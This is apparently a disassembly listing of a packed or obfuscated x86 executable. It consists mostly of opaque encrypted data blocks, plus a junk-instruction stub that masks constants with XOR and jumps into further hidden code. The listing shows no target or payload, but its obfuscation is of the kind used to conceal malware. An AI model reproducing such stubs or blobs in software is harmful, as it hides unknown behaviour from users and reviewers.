		dd 59000006h, 0AF81F5Eh, 0DEB9146Fh, 0EFC6296h,	9132969Ch
		dd 0DEB5291Fh, 0B6B58B43h, 0CC6755A2h, 0A2B6B618h, 5C3C9A00h
		dd 6D08F61Dh, 9CCE9392h, 0FE3882E8h, 1EF1D569h,	0B439347h
		dd 60E90000h, 0EC69DB7Ch, 69ED5F00h, 0F072E485h, 71F96B0Ch
		dd 712DEC8Dh, 0AF50B4BCh, 31D2363Dh, 0B75844BFh, 3ADBCF45h
		dd 994DE8D6h, 81A2B6BCh, 46CCD4BFh, 13198B62h, 0E066D8AFh
		dd 0B2B325FCh, 4FA7734Ah, 247CF032h, 4AEA3D5Dh,	5A4356CBh
		dd 0BD710CFAh, 0AD9CC839h, 0BD0BE947h, 810981F5h, 5F6h
		dd 37EBA396h, 43B59CC8h, 9A7AD8CCh, 0D446345Bh,	2D936A5Eh
		dd 0F452BABBh, 0B8D06B06h, 2D8096DEh, 8D6A9D3Ah, 0A26AC80Ch
		dd 58DC4E3Ch, 0D9379D74h, 0FF379EBh, 9276FC6Eh,	759CDBBBh
		dd 0AF131587h, 261472D8h, 714EC638h, 0B89FA2D7h, 885FC55Dh
		dd 4E29C422h, 2C9CCEEEh, 72F022D9h, 0CF35A748h,	0D5AA4985h
		dd 0EA9E75F1h, 0A75h, 0A94AB2B7h, 2DCE3E37h, 0B253BBBBh
		dd 39DAC640h, 0BA5B43C7h, 868A23FBh, 40B7D1Eh, 8A8DFFA0h
		dd 1D138526h, 0B6A408A9h, 0B6BD671Bh, 0A28D4FA2h, 8B6246CCh
		dd 0D8AF1319h, 24FBE166h, 6F46BEB2h, 0F4225FB7h, 50B68D73h
		dd 631E76EAh, 81F2F947h, 534BD09h, 7CCF0000h, 24DFA0D1h
		dd 10FB59FCh, 0AF81F5Eh, 0DEB8856Fh, 0D1005396h, 56FCFFBEh
		dd 75DBA301h, 0AB1F1587h, 2292980Ah, 7DE3BA22h,	0B0B72917h
		dd 0D7C540h, 0FFD6349Ah, 34A89F11h, 43833BD6h, 1C5BA2B6h
		dd 916C07F5h, 0E99CCE20h, 36F33983h, 5C33F1D5h,	9C8A8h
		dd 0F7ED6400h, 7B61E456h, 0EC68DAh, 876BED5Fh, 8FC74E6h
		dd 37F4A867h, 0B82ACB33h, 3AAC4DB3h, 0C032D339h, 51B5564Ah
		dd 0BE14C863h, 4204A2B6h, 6246CC57h, 9B010274h,	29005EC4h
		dd 764DB1B7h, 0D3D7AA02h, 981F385h, 49149h, 0FD505E00h
		dd 0E0B061E0h, 24BF1D3Ah, 9CC86E71h, 0EDDB0241h, 0DEEEC552h
		dd 3D2B9196h, 0C06145CBh, 0C15CD84Eh, 0A2B6810Dh, 13EAD253h
		dd 197FE5ADh, 62E25442h, 0FD3C1C7Ah, 0FE4DE8D6h, 5C9CCE53h
		dd 5294ACF6h, 0D9B0F1D5h, 93025h, 8F75FC00h, 13F97CEEh
		dd 98040072h, 1F8385F7h, 0A0040C7Eh, 0CF9C40FFh, 50C2635Bh
		dd 0D244E5DBh, 58CA6B51h, 0E94DEED2h, 0BEAC60FBh, 0DA9CA2B6h
		dd 6246CCEFh, 0AF13198Bh, 0D0B109D8h, 4DF58CAh,	4CA1BE73h
		dd 0ED4BB13Eh, 7011F57Bh, 82B14492h, 3931A309h,	0E74DB1B9h
		dd 3C38AA10h, 7DE972D0h, 0FE000001h, 7666DE50h,	3CA0A618h
		dd 0EE897765h, 9CC8383Ah, 0F466C42Ah, 9E98A7Eh,	1AB5A3CAh
		dd 96E009EBh, 0F38E65CBh, 0A2B0463Bh, 3F168A81h, 8E6549CDh
		dd 1F037ED6h, 2F6B166Eh, 9313C5DCh, 8EEC5AB3h, 6AE562B0h
		dd 27260Fh, 5E3B0000h, 6F0AF81Fh, 96E00C20h, 7611E84Eh
		dd 0A2B042BEh, 0E265D7C5h, 63C127FEh, 0E634760Bh, 0AA0F6A02h
		dd 0E4h, 0C76250BFh, 9CC83813h,	0CD3F9D03h, 87756347h
		dd 0C83838ECh, 0EFE769Ch, 1B09D137h, 0C837CC80h, 0F056BC9Ch
		dd 0C149BB92h, 0F5675BD1h, 51288E72h, 55A51063h, 0D04FC0EBh
		dd 499C9AE1h, 106EA9D1h, 4634A89Eh, 0CA09BD58h,	8BF19CC8h
		dd 54B21E19h, 0B4050B7Dh, 0EC750D27h, 250DAC1Fh, 6F21F548h
		dd 0BC57F85Eh, 9CC9C80Dh, 0DDDD55C7h, 0B00E7458h, 33D4C83Eh
		dd 0FFED1453h, 0E3810364h, 0BFAD1396h, 71F5236Ch, 361A23Ch
		dd 37AFA315h, 0B82C2496h
		dd 0B9AB4C6Eh, 0F1A57CF7h, 7C1h, 5DFEE66Bh, 0E1826AEBh
		dd 6607F76Fh, 0ED8E72F4h, 6E0FF77Bh, 0CA3EEFAFh, 48BF31D2h
		dd 0C641B354h, 41C739DAh, 6A58BC5Dh, 0B6C01BCFh, 5E490BA2h
		dd 0E17344CCh, 279D92CDh, 0B297EA50h, 0E485EB48h, 77FCFC72h
		dd 9F8A2B91h, 746246CCh, 3837EB86h, 0B91F9CC8h,	387C30CBh
		dd 66C9CC8h, 0E95FD1A8h, 381ED26Dh, 0A0069CC8h,	67E5993Ah
		dd 0FA000002h, 0AF81F5Eh, 0E0E6286Fh, 19F05696h, 0B068C67Eh
		dd 6DDFCDA2h, 4EA604E8h, 28297733h, 9ED0F6Ah, 2000002h
		dd 0C837EEA3h, 5A81C09Ch, 0B94ED16Ch, 96FC96DEh, 0CC3036A8h
		dd 4FB3B92Bh, 32599878h, 8A5AA944h, 92F89CCEh, 0D5802448h
		dd 0D58960F1h, 6FDh, 21C23A2Fh,	0A546B6AFh, 2ACB3333h
		dd 0B152BEB8h, 32D3CB3Fh, 0E02AB73h, 8C83F596h,	2057718h
		dd 858BFD9Eh, 2E1C8021h, 0B6C0DF93h, 1A05C7A2h,	8B6246CCh
		dd 4F394A9Dh, 8A71F567h, 50B4BA2Ch, 63500F62h, 0CDDAB0E0h
		dd 2E26986Fh, 0F275E7BEh, 41C5370Eh, 5120865Dh,	0CB9A88F9h
		dd 2080E73h, 0D11FFD9Eh, 30098249h, 815844BEh, 6534BD1Bh
		dd 49000001h, 8B6246CCh, 373DAF9Dh, 0FB96FCD3h,	9CC83847h
		dd 0F96BC92Fh, 0EEE8F73h, 1FBAA8CFh, 96E009F0h,	6A178DEh
		dd 0A2B0464Eh, 532A9E94h, 0A37A66E1h, 8096EB43h, 0FDAE1488h
		dd 80CEDCA5h, 0DF0F6A01h, 2E05E96Dh, 2FE16AC8h,	0F6000000h
		dd 66EC1F5Eh, 402E1C82h, 20E870EDh, 8FED7E90h, 0E0F3A5F4h
		dd 0E263D596h, 22BD94FAh, 0A2B1246Ah, 42681971h, 0F6AE2F4h
		dd 0CDB8h, 46CCCD00h, 0C027462h, 0DB4FC198h, 40A60CE3h
		dd 91990BE2h, 0B6513F2Dh, 9CC83802h, 387D31CCh,	76D9CC8h
		dd 0A47BD93Fh, 0F1C83C32h, 0C67A1503h, 0AE9CC837h, 0BBF5A48h
		dd 0FB9CC838h, 4FC53795h, 0A01FBA5Bh, 0C49CC8C6h, 0D6DA4E4Eh
		dd 0A2086E5Eh, 0BBE22101h, 0F0D45BCDh, 6755B319h, 0E2E36BCCh
		dd 5745AB96h, 0BB8C6DE5h, 6C9AE97Eh, 1120D46Fh,	0A208A2B3h
		dd 0C335D63Ch, 1F0D574Fh, 2FF7B9E7h, 58BA458h, 0A8A10000h
		dd 24219334h, 0A1A517B8h, 282A9C3Dh, 0B9B123C4h, 39E5A445h
		dd 6708FC74h, 0E98A7EF5h, 6F10FC77h, 0F29377FDh, 5105A08Eh
		dd 39A2B6C2h, 0DE508C77h, 369C7369h, 845B41C4h,	0DA4EC01Eh
		dd 0A705CD6h, 8D71F769h, 46CC01ECh, 54217462h, 74CDBCF8h
		dd 0A113EA48h, 0A89637ABh, 0F4CB3136h, 3B7C308Eh, 91000000h
		dd 0D05646CCh, 3DAF86ECh, 8AFCD337h, 0D5471E86h, 26986F53h
		dd 7FE5BC20h, 0FC265BB3h, 0BE035644h, 235FDAD9h, 0E1A0F856h
		dd 0A8433F35h, 9CC8D6F4h, 77187EE4h, 3FC3h, 6250D800h
		dd 0C83813C7h, 0AF9D039Ch, 0C8386014h, 84E2489Ch, 0BAA81C12h
		dd 5FD5CF48h, 0D0A7056Bh, 6FA70E2h, 0D06BC92Fh,	9CC83819h
		dd 1DF4E85Fh, 6D44A8ABh, 0EA3849A1h, 0BB5B267Eh, 0C5B051B5h
		dd 8B6246CCh, 57456CABh, 0DEB8E7BCh, 7FF76996h,	0F769318Fh
		dd 3C2A907Ch, 11C5604Eh, 0F9A2B6B7h, 0B744F893h, 0CE34A2B6h
		dd 1A108270h, 9D9305A6h, 0DBB2161Dh, 58380F75h,	0F69C0519h
		dd 0DE8CA3BCh, 7FEF8A78h, 0EF9CCDA9h, 3D14F87Dh, 958371D7h
		dd 0C6580CA7h, 52409CC8h, 0C8C603B7h, 278DF39Ch, 0E1D157C9h
		dd 60108E67h, 70980DA0h, 2D93980Ah, 9C8AF056h, 0E9C0242Ah
		dd 0AA161183h, 3339AB4Ch, 58F3E1CFh, 9CC8CBA4h,	0F9D02E94h
		dd 0C5B3DA19h, 89E7DF53h, 7C79009Bh, 0E34996E1h, 0B7B19999h
		dd 3AEEC5F7h, 405h, 19BA2227h, 9D3EAEA7h, 22C32B2Bh, 0A94AB6B0h
		dd 2ACB3337h, 76FAB36Bh, 0F47BED8Eh, 7AFD6F10h,	8D83F596h
		dd 26147819h, 0B6C3D78Bh, 12FDBFA2h, 746246CCh,	0C0970D02h
		dd 0E95BFC5Ah, 0BAA87F63h, 122C8E67h, 0EE41FC04h, 45DE2892h
		dd 68DA38B2h, 5827FEE2h, 9F958100h, 5EAC8A2Bh, 22098221h
		dd 5Ah,	0EC1F5E37h, 311F856Bh, 5E56D143h, 0B71DF4E8h, 8658F351h
		dd 0E696E0CAh, 84A95DF8h, 2B91A2B0h, 4EE9D7C5h,	0A2B0849Ah
		dd 0D8C6248Ah, 5EFFED66h, 0F05FE70h, 0B084C074h, 0DC42A8A2h
		dd 8529E37Eh, 0FD73A2B0h, 0A3A91B09h, 0A402683Fh, 1E969103h
		dd 774EB428h, 348C3h, 46CCD800h, 13198B62h, 0D44FC1AFh
		dd 3811C560h, 93F99CC8h, 4E2ECF2Dh, 5FFAE80Fh, 96E00930h
		dd 46E1B81Eh, 0A2B0458Eh, 3235A795h, 691870CEh,	6A00F341h
		dd 2EB70Fh, 76C90000h, 711EA8Fh, 0F3DE3C37h, 0AF81F5Eh
		dd 0E00C206Fh, 11E84E96h, 0B042BE76h, 146DC5A2h, 6A024896h
		dd 3035A70Fh, 0B6E56ECCh, 0FA000000h, 8B6246CCh, 0C22A2B9Dh
		dd 0B52785EBh, 7249BDh,	4DBF960Ah, 0A742E3C7h, 9CC83408h
		dd 8F46EE0h, 0CE3238AAh, 51B5BB2Dh, 1B1A8C7Ah, 274DAB1h
		dd 5939970Dh, 6A05F31Ah, 96E01FCBh, 6444E54Bh, 7510FE25h
		dd 9CC58712h, 0E0EA7FD2h, 499C0007h, 8CEA1855h,	82705EC4h
		dd 0B62E2294h, 2ADE79DFh, 709CCA4Ch, 0D93F07F5h, 9D01097Bh
		dd 1E868AFCh, 0D121CAD4h, 7F330AF1h, 265h, 0B95A42C7h
		dd 3DDECE47h, 0C2634BCBh, 49EAD650h, 0CA6B53D7h, 969A530Bh
		dd 141B8D2Eh, 9A9D0FB0h, 2D239536h, 0C6B418B9h,	0B6C5772Bh
		dd 0B29D5FA2h, 0BF6044CCh, 42E3C74Dh, 0F81F5E57h, 4330B70Ah
		dd 0F605CB80h, 30B96D08h, 3BA19CC9h, 554EFDDh, 7596E105h
		dd 0E59D380Fh, 0ECA2B129h, 6FBDED94h, 0CE0F6AE9h, 97F5DB5Ch
		dd 9D0Eh, 46CC2300h, 11198B62h,	9C3BD6ADh, 0D09CC834h
		dd 678665Ah, 2A96910Fh,	2987ED53h, 0AC101688h, 8FB6F5D5h
		dd 206706A1h, 54A796E0h, 0AC292A6Bh, 0DA7BE1ECh, 0A694BBFAh
		dd 0CAE3450Bh, 0BDAB119Ch, 3EDFC74Bh, 0D35444CCh, 0C2B016EDh
		dd 0CB2F7327h, 97FD639Ch, 0D2DB814Dh, 2B68DF1h,	199h, 85269E93h
		dd 9AA1213h, 8E2F9F97h,	15B61A1Ch, 9637AFA3h, 0E26607D7h
		dd 60E759FAh, 0EE69DB7Ch, 79EF6102h, 9280E485h,	0B6C643F7h
		dd 867133A2h, 0BF6044CCh, 42E3C74Dh, 7C60E254h,	46CC331Eh
		dd 13198B62h, 0DA6EC1AFh, 0AE65D673h, 0A719BA18h, 86663DA1h
		dd 0C0322047h, 0E4C84B45h, 0CF41A70Dh, 288E6559h, 2641DCCAh
		dd 1496E183h, 0B30BD7AEh, 0DEC248CEh, 0F71E5D3Dh, 0C9A36E09h
		dd 8DF39CC8h, 0DACE44B6h, 8EF34B03h, 912CDB1Ah,	9CC8EDDDh
		dd 7FF567CDh, 0C537258Bh, 21875E42h, 6F3AD5C3h,	2796E0D4h
		dd 0E761D3C1h, 0EFC9DFBh, 45B7AE20h, 0B0E3F6AAh, 1A78DEA2h
		dd 3132A2A8h, 7F5646BFh, 0EEDCB319h, 0B0E39F53h, 0BB2187A2h
		dd 0B0C7E55h, 0AA02CEA5h, 0D5C93FD7h, 0AA5EF9E7h, 9AA2B0E3h
		dd 4735D634h, 92695DD5h, 0AFEECE2Ch, 0E4FF9A88h, 0D29CC991h
		dd 2D23956Ch, 0CFB381CCh, 57CEE7A5h, 0C2288E65h, 61B9855Ch
		dd 22498820h, 457E9934h, 0D63C96E1h, 0E3165535h, 0F48F7D61h
		dd 0A2B08A40h, 6E5CC228h, 12B92D80h, 0C6FC89E9h, 10A0CD68h
		dd 0BE309CC7h, 2FF75547h, 0EF69DBC9h, 0EDBC216h, 0D83EC51Fh
		dd 3B31A37Ah, 0BEB426C7h, 2DD8734Ah, 0FDD0CBE0h, 0D286210Fh
		dd 0C2E0CD10h, 0DBA6FE5Ch, 30D1353Bh, 665448BEh, 1129DD78h
		dd 0AB11E0CDh, 0B795E958h, 62C0234Fh, 0B31F198Bh, 0C9B810DCh
		dd 11AB7ED1h, 794F0CE5h, 3FA3A91Bh, 0C2262C9Eh,	337EBh
		dd 7A4C0000h, 5F45CC8Fh, 0AC101688h, 0FCE063D5h, 48BCB325h
		dd 930BFF71h, 0DEC64ABCh, 2F939507h, 7E6EE658h,	0CC3035A7h
		dd 895773F5h, 4C781E7h,	52000000h, 4BAh
		dd 5AD72900h, 5C243C87h, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 68241C89h, 4741h, 68240C89h,	5EE800Eh, 83241C8Bh, 0EC8304C4h
		dd 24248904h, 4240481h,	59000000h, 7C9468h, 24048900h
		dd 8B8h, 89C80100h, 34FF5818h, 0C4815924h, 4, 5B2434FFh
		dd 4C481h, 0A7E90000h, 1FFF9EDh, 0B7102540h, 1A1F14ECh
		dd 85B8AE6Dh, 305EE90h,	87E0FFC5h, 0F451DADCh, 0E12E3E9Ah
		dd 0CD422474h, 0A836BBF1h, 287FE928h, 0AB1B7E19h, 0E82A5E1Ah
		dd 6, 0E3C0AD5Dh, 0C6809A42h, 81F55F7Dh, 7360C7h, 0B9DA8B00h
		dd 0
		dd 28B0Fh, 43B30000h, 810F348Bh, 0ABA2A7EEh, 10E92Ch, 3E8F0000h
		dd 0D63867h, 0E6EEB078h, 0E0171F47h, 0C68186D9h, 4618F836h
		dd 8175EA80h, 0CA1BAF6h, 89D38B67h, 81660F34h, 60CC47C3h
		dd 0FE9h, 2C0F8000h, 4B79C2DAh,	86A6648Eh, 3C862D4h, 0CCAFBE66h
		dd 93E98161h, 6659CF98h, 81C21CBBh, 0CF988FC1h,	61EF8059h
		dd 8D3CF981h, 850FFFFFh, 0FFFFFF90h, 0BE9h, 0AE999300h
		dd 996A3016h, 0DACB5E37h, 927B8D8Dh, 0BD8905EEh, 5E80605h
		dd 159D8D89h, 6A05E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 4E1C01C3h, 0FF59CD98h, 6880F53h
		dd 81000000h, 0DD5B6ADFh, 85C75E5Dh, 5E80705h, 69DCh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D2C35747h, 0E38FE626h
		dd 85C7F9C3h, 5E80A61h,	0
		dd 3810Fh, 0D2800000h, 75B5FF76h, 905E830h, 0E811498Dh
		dd 1595FF05h, 0F05E808h, 0C86h,	6860F00h, 0F000000h, 8Ah
		dd 0FF006A00h, 0E820F995h, 0EBC08B05h, 0B66D524Ah, 0AA0DF537h
		dd 49F55B4Ch, 0C912CE89h, 590FF359h, 0A508BE89h, 388B5B1Ah
		dd 6DB872BAh, 0D042B154h, 0EC5F064h, 7FCE0C48h,	0C292A31h
		dd 17EBDEF9h, 56912C5Ch, 0C2AAE3E8h, 791D5429h,	335805BCh
		dd 4540E111h, 0EBE482ECh, 8, 0DD69C900h, 523E949h, 0C9680000h
		dd 0E905EE93h, 0FFF9EBBEh, 0EE945868h, 0EBB4E905h, 0DB68FFF9h
		dd 0E905EE95h, 0FFF9EBAAh, 0B5564EC3h, 39DAC243h, 0BE5F4FC7h
		dd 45E6CA4Ch, 0C6675FD3h, 92965707h, 1017892Ah,	9E990BACh
		dd 291F9132h, 0C2B014B5h, 0B6CA7327h, 0B6A163A2h, 0D05444CCh
		dd 0ACA315ECh, 95FB6138h, 60E6582Fh, 76FDF770h,	0EF55BB92h
		dd 2D299B89h, 0E6D64FC1h, 0C807E788h, 8918B3A1h, 6996E01Fh
		dd 0D9912C03h, 0E0A2B050h, 63B1F988h, 270F6A10h, 324h
		dd 5D41C739h, 0D7C22086h, 86C538EEh, 6FF715Fh, 0BB212496h
		dd 32207EE4h, 0E0181497h, 252A9C96h, 7249BDB3h,	8048A60Ch
		dd 40B2A01Ah, 0E07BD9C7h, 9F4FF1C1h, 0E5D3FA39h, 6D588B4Ah
		dd 8E65CB8Fh, 5A486FAEh, 46627ABFh, 7866CC94h, 94900006h
		dd 0AF21C228h, 0D2FB45B9h, 10EA5D4Dh, 37C8539h,	9C950000h
		dd 10158728h, 9D990BACh, 241E9031h, 0ADA517B8h,	5D99839h
		dd 5BFCE068h, 0DD7E62E9h, 6304E86Bh, 0E6877BF1h, 45F99482h
		dd 35A2B6CBh, 0DE508873h, 38187666h, 0D6E3E5F9h, 5F09BD58h
		dd 8BF19CC8h, 4BEFD638h, 0B609F7E5h, 5CBD3173h,	0A03B99FEh
		dd 96DED754h, 0E2D0BE24h, 2E05FB70h, 70F86AC8h,	944B9E8Ch
		dd 1469C496h, 2715B614h, 0D749BDB5h, 2F956C50h,	0F3EB5FD1h
		dd 67C4811Ch, 8288A2B6h, 0C1E1D41Eh, 1CF3EBE1h,	2ED68h
		dd 0B72D2400h, 3BA1A416h, 0C02C289Ah, 47ABAD1Fh, 0C83C34A6h
		dd 0F7B46827h, 78EA8B73h, 0FA6C0DF3h, 80F29379h, 1175168Ah
		dd 0CBD48823h, 2C4A2B6h, 701F5E17h, 0C83821D5h,	3DA3099Ch
		dd 12C6614Fh, 29CC838h,	0B5503E9Ch, 96DE8569h, 59F4CB31h
		dd 0A2B6C9A1h, 793150A8h, 0F70852Bh, 1D3EFh, 968F0100h
		dd 8BE94F26h, 6246CCA0h, 410F2174h, 9C7A6387h, 64C22A2Ah
		dd 0B1151B8Dh, 0CAF13010h, 0FF1241DCh, 68DA96E0h, 0BF25FCE0h
		dd 0EE5C94Dh, 10824AA8h, 3238AA16h, 2B91F7CEh, 3001B954h
		dd 0B008A2B1h, 0EB8BD9D1h, 254F0F6Ah, 64000000h, 0AF81F5Eh
		dd 42AAAA1Ch, 0BFA49E4h, 0F25896E0h, 42C8801Bh,	77CFA2B0h
		dd 252A00Ah, 0FA160F6Ah, 2B000000h, 8B6246CCh, 0D6AD1119h
		dd 970DEE64h, 9C01C736h, 0FCEAD83Eh, 0C91FAD61h, 0D9379D9Ch
		dd 1A9A9002h, 76DCB319h, 0DFCF2210h, 425893F4h,	0F1AE62FDh
		dd 30969CC8h, 0DDCB6CCAh, 9AC6EB8Ah, 0C8F24BFFh, 82D53B9Ch
		dd 0D055BA64h, 49AF15ECh, 68F250EBh, 0AA1C9CC8h, 6FE13FA5h
		dd 927EF9F9h, 6CAB8B2Ch, 0A72B1958h, 154A24C6h,	223F43BBh
		dd 8E7CE248h, 0F9224DA0h, 14EBD353h, 17E25BAEh,	4C239B8Fh
		dd 180E80E6h, 4AAB46A4h, 4C96E2DBh, 8286F8E6h, 36A8140Eh
		dd 0C96AD03Ch, 9F4388DBh, 0EB3EB691h, 0AF171B8Dh, 0BA987065h
		dd 3B78EF7h, 16Ah, 993AA2A7h, 1DBE2E27h, 0A243ABABh, 29CA3630h
		dd 0AA4BB3B7h, 0F67A33EBh, 74FB6D0Eh, 0FA7DEF90h, 0D037516h
		dd 0A694F899h, 0B6CD570Bh, 927D3FA2h, 3DD844CCh, 9CC83889h
		dd 4A50B71h, 2EAEA416h,	462C834h, 87289C92h, 6246CC9Ch
		dd 0AF13198Bh, 8438D3C1h, 749CC838h, 3837EB86h,	0B91F9CC8h
		dd 7454F553h, 32200E35h, 0C837E397h, 0F6DD39Ch,	0CAB48621h
		dd 329896E0h, 665ED244h, 85722AC5h, 0CA3CA2B0h,	16885F45h
		dd 6ED4AB11h, 3238AA08h, 0B7BB2DCEh, 9C8A784Fh,	0B0854D01h
		dd 299D93A2h, 4CA8FB61h, 7102D43Dh, 0BB2DE13Fh,	42000000h
		dd 0E9A0FD50h, 8C06BA55h, 88EE9CC8h, 0F319235h,	6B92D1B1h
		dd 0B19AE27Dh, 78EA96DEh, 990D05FFh, 1FF65CC2h,	0A7C53B9h
		dd 0EA0FB304h, 2F06EA6Ch, 843076C9h, 0F466076Dh, 18B38A7Eh
		dd 0CE02E714h, 0D8AF151Ah, 73F4EC66h, 9E50278Dh, 2FE73B46h
		dd 0DB5BCF41h, 0A5688C40h, 0B0167CE6h, 0BD1573D9h, 0DCDC52C4h
		dd 479A7157h, 0A23BAD17h, 0F75DBF2h, 0A576FC6Eh, 9590456Fh
		dd 995D427h, 61D3AA10h,	5824FBE7h, 0A7198100h, 4CC93BA3h
		dd 0C5238960h, 48E9DD53h, 956C50D6h, 1DE1h, 0BEA0F300h
		dd 46F5D6DBh, 7A5F4AA8h, 4F039E8Ch, 379CC838h, 0CBC67ED1h
		dd 679A6E0Ah, 45CC1E09h, 1016885Fh, 0E063D5ACh,	0BCB325FCh
		dd 0BFF7148h, 0C64ABC93h, 939507DEh, 6EE6582Fh,	3035A77Eh
		dd 6873F5CCh, 792Fh, 55242489h,	4BDh, 246C0100h, 81685D04h
		dd 8900007Dh
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, 69103C6Bh
		xor	ebp, 6CFEAE9Ch
		push	ecx
		mov	ecx, ebp
		mov	edx, ecx
		pop	ecx
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		sub	dword ptr [esp], 65F447DFh
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 65F447DFh
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		dd 35AC7FD3h, 23F3CDBAh, 692CD4B8h, 976AB806h, 0C50305EEh
		dd 0C39DE0FFh, 0AB5B63A5h, 2E443322h, 0CC497A00h, 6E1A48C2h
		dd 0B0F70709h, 0E15F5A4Dh, 49BF2E00h, 0E7F17D7Ch, 503C6E42h
		dd 7F121BF1h, 0D0FF1F2Ch, 0B46276D8h, 0CED169C0h, 0D9D50247h
		dd 53CB496Eh, 71CB3BFBh, 0BB11FBBh, 0A30F702Bh,	0D1D77A1Bh
		dd 0D88610F8h, 0C0CB4372h, 0AE81106h, 0E2000000h, 0D6C5085Eh
		dd 0E1EC52CBh, 0EFB56055h, 0BDF38166h, 515A6171h, 0A4EB8166h
		dd 0C2815BEDh, 73B7h, 0D88B6660h, 0A2DFD881h, 686130E0h
		dd 1CC1h, 0AE8h, 0ABBD2000h, 0E9C3F8C7h, 8A8666DDh, 80595FE7h
		dd 328B9ED0h, 7E9h, 74F3F000h, 36571DD2h, 5560EE81h, 66516124h
		dd 5B6FF2B8h, 742DC681h, 6FBB0B50h, 8158AF7Dh, 50D373F6h
		dd 810F2Bh, 89000000h, 0FB8B6632h, 4A01EA83h, 83F54A4Ah
		dd 850F01E9h, 16h, 0F99CB866h, 21E9h, 38F5E800h, 2DCF4174h
		dd 0C6DD09F8h, 0B4562FB9h, 9BE95861h, 0D1FFFFFFh, 25452B81h
		dd 0F0A41743h, 0FE8A585h, 0E2000000h, 0B1C8805Dh, 8003276Eh
		dd 43B44A7Eh, 1AB09694h, 0CE95Fh, 12FC0000h, 0BCBB4ABFh
		dd 7635C04Fh, 0C7819420h, 5DACh, 9E960h, 9FCC0000h, 0B0649093h
		dd 668E3ABAh, 615052BBh, 172C68h, 0C38B5A00h, 8A0F1F8Bh
		dd 5, 0D24413B9h, 23F38129h, 8B050E51h,	0F8EB81F0h, 6675543Ah
		dd 815E25BEh, 5A8EAFF3h, 0CE8B661Dh, 810F6053h,	6, 830Fh
		dd 830F0000h, 19h, 14E9h, 0A4C3C500h, 9EFC431Ch, 0C999119h
		dd 20B383C9h, 0ADD1EA2Bh, 78F614Ch, 81C38B66h, 0D3A983EFh
		dd 0CE8B666Dh, 0A97FC781h, 0B70F6DD3h, 1EA81C7h, 0F000000h
		dd 2685h, 66605600h, 3845E381h,	870Fh, 59610000h, 2EE9h
		dd 0EF2AC700h, 5961AA80h, 0ACC1C05Bh, 0C18F3497h, 0B9064661h
		dd 17C2C382h, 0FFFF57E9h, 21681DFFh, 7BD6F5C6h,	3758C93h
		dd 0B90E24CEh, 0E840A427h, 6, 0BAF6A116h, 0DF8B7C00h, 0D88B665Ah
		dd 72ADC281h, 81660000h, 6813BAC7h, 1C74h, 7E9h, 92759500h
		dd 0A1D45BCDh, 9E95Eh, 56F80000h, 8F6D35F1h, 8B81E1E0h
		dd 19C18002h, 1229E881h, 8E0F4E27h, 3, 81F88B66h, 5AB4A0E8h
		dd 5E915h, 0F5A0000h, 813816E6h, 0DCCAD3F0h, 14E838h, 0AE560000h
		dd 0B65CE155h, 0E4738EE0h, 0B549E927h, 2D4F5F07h, 0FE9D778h
		dd 6A000000h, 978AD21Bh, 0EAA1C2F2h, 0CB20936Fh, 895B62B4h
		dd 0FBB70F02h, 7A23EA81h, 10E8155Bh, 0AE000000h, 0A681D230h
		dd 10C2FB99h, 91C2822Ah, 0F63C7ACh, 1180h, 0BE800h, 0F8020000h
		dd 0F426D0F4h, 248AC176h, 815B594Ah, 5B7A1FC2h,	0E3816615h
		dd 0F4E97D4h, 0FFFF5E85h, 28B0FFFh, 8A000000h, 0EE8EBh
		dd 6AE20000h, 71941453h, 259E70B9h, 0EFAAAEh, 0A0F18060h
		dd 880F50h, 5A000000h, 0AE95F61h, 33000000h, 1260F39Ch
		dd 0F8FF689Bh, 58C781CBh, 60000066h, 3F7CD381h,	0B70F0A08h
		dd 62BA61CEh, 81000019h, 960A1CD6h, 0B537FF58h,	0E88158BAh
		dd 52957832h, 0DB816657h, 815B8150h, 18E768C0h,	3820F23h
		dd 80000000h, 0F08194CDh, 0B935D2Ch, 0B7ACB966h, 0BB665650h
		dd 8F59A0DCh, 81DE8B07h, 72EFA8EFh, 0A4C78120h,	0BE2072EFh
		dd 72273C37h, 0F01EA83h, 1A85h,	0CEBF0F00h, 35E9h, 49CD8800h
		dd 335ACC31h, 0E759251Bh, 41FCBC5Ah, 0E9F86B07h, 0Fh, 333106CBh
		dd 8FF29238h, 0C130933Fh, 0E98B0DBCh, 0FFFFFF7Dh, 9F9BB7D5h
		dd 108B9368h, 0C08BF4FDh, 0E89BD83h, 750005E8h,	0E9BD8309h
		dd 5E80Bh, 53501974h, 21B8C08Bh, 89000004h, 0E8111D85h
		dd 4E9D8D05h, 0FF05EAA9h, 83585BD3h, 0E80BE9BDh, 17740005h
		dd 21B85350h, 89000004h, 0E8111D85h, 3D9D8D05h,	0FF05EAA6h
		dd 8B585BD3h, 0F99D8BC0h, 0C605E814h, 0E8201585h, 52685605h
		dd 0FF9CA8B8h, 0E80CA9B5h, 30858D05h, 0FF05EB7Bh, 68046AD0h
		dd 1000h, 7A9B5FFh, 6A05E8h, 0C085D0FFh, 0D850Fh, 0B80000h
		dd 8D000000h, 0E872008Dh, 8BE1FF05h, 3C38BC8h, 0F8053C40h
		dd 8B000000h, 0D3030C50h, 30BDBD83h, 0F0005E8h,	0E84h
		dd 0BD9D8B00h, 8B05E830h, 0E80D3185h, 51038905h, 0D5858D52h
		dd 0FF05E841h, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 0E8201585h
		dd 39685605h, 0FFD41F6Dh, 0E80CA9B5h, 30858D05h, 0FF05EB7Bh
		dd 800068D0h, 6A0000h, 8BD0FF52h, 89BD83C0h, 5E80Eh, 0BD830975h
		dd 5E80BE9h, 50197400h,	0B8C08B53h, 421h, 1AF98589h, 9D8D05E8h
